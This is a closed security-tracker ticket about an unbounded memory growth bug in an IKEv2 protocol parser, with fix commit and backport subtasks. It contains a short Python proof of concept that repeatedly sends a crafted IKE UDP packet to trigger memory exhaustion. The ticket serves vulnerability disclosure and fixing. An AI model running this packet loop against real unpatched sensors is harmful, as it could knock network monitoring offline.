Project

General

Profile

Actions

Security #8415

closed
PA PA

ikev2: OOM due to unbounded client_transforms

Security #8415: ikev2: OOM due to unbounded client_transforms

Added by Philippe Antoine 8 months ago. Updated 14 days ago.

Status:
Closed
Priority:
Normal
Target version:
Affected Versions:
Label:
Git IDs:

614c48d3c3b6d9c6c6478f11a3b75dbf4e460f15

Severity:
CRITICAL
Disclosure Date:

Description

The line state.ikev2_container.client_transforms.push(transforms); in ikev2.rs just keeps increasing without bounds

POC is simply just sending the same UDP packet over and over again even if there is no server

import socket
import binascii
import time

server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_socket.bind(('', 3268))

ike = binascii.unhexlify("61d3693ce12af52800000000000000002820220800000000000000f02200001c312fd2e1cea72d0f7f3d1ccac96bb0c4c8d70f39dba193e42100008800020000b0c808b9480d4d4ae92c0e8f115d9338d4d0bb8361cfd19562ee5e2444b7f67137e472b2aa9b4455bafc4abadd89daa86e0583ffd2abb28933faa3fabf3ee84430c05afeb9652fc9befd377dd9d10001cd656eb617ba3ba39d0346f91a063bba6d186a3f20188ca0e8e4b79e3e912f13d309a8d655501592f742e408fda88ddc000000300000002c010100040300000c0100000c800e01000300000802000005030000080300000c0000000804000002")

for i in range(1024):
    a = server_socket.sendto(ike, ("127.0.0.1", 500))
    time.sleep(0.1)

sock.close()

CRITICAL like https://redmine.openinfosecfoundation.org/issues/8182 : OOM from UDP protocol


Subtasks 2 (0 open — 2 closed)

Security #8416: ikev2: OOM due to unbounded client_transforms (8.0.x backport)ClosedPhilippe AntoineActions
Security #8417: ikev2: OOM due to unbounded client_transforms (7.0.x backport)ClosedPhilippe AntoineActions
Actions

Also available in: PDF Atom